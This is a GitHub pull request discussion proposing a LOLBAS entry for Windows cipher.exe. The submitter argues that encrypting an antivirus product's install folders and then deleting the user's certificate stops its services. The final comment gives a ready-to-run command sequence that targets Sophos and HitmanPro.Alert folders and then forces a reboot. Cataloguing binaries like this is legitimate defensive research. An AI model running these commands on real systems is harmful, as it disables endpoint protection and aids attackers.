Skip to content

Conversation

conitrade-as
Copy link

No description provided.

ADS
AWL bypass
Compile
Conceal
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Matches changes made it LOLBAS-Project/LOLBAS-Project.github.io@d9405c1 ✔️

Copy link
Member

@wietze wietze left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @conitrade-as, thanks for submitting this.

I have just tried this on Windows 10, without success. Maybe it has been fixed since your submission, or maybe I'm missing a trick.
image

Putting the MsMpEng use case aside, the executable seems to be doing what it is designed to do: encrypting files. This may mean that although cipher.exe can certainly be of use to attackers, it is strictly speaking not in line with the LOLBAS Criteria.

Please let me know your thoughts on the above. Thanks again.

@wietze wietze changed the title Feature/cipher exe Adding cipher.exe entry Aug 5, 2023
@conitrade-as
Copy link
Author

Indeed, Microsoft fixed it for Windows Defender (the initial assessment on their end was "valid but does not meet our bar for immediate servicing or it is not exploitable").

Disabling security features such as Windows Defender seems rather unexpected from my point of view. From you guidelines I'd say that:

  • Be a Microsoft-signed file: ✅
  • Have extra "unexpected" functionality -> This executable allows to modify executables which an administrative users should not be allowed to change.
  • Have functionality that would be useful to an APT or red team: ✅

Let me check once more if it still works for other vendors for which we tried this initially.

@conitrade-as
Copy link
Author

Yes, it still works for other security products with the exact same result: Services not running any more. If you want to try yourself with e.g. Sophos Home here are a few steps you can use:

cipher.exe /e /s:'C:\Program Files\Sophos'
cipher.exe /e /s:'C:\Program Files (x86)\Sophos'
cipher.exe /e /s:'C:\Program Files (x86)\HitmanPro.Alert'
certutil.exe -delstore -user my %username%
shutdown.exe /r /t 0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants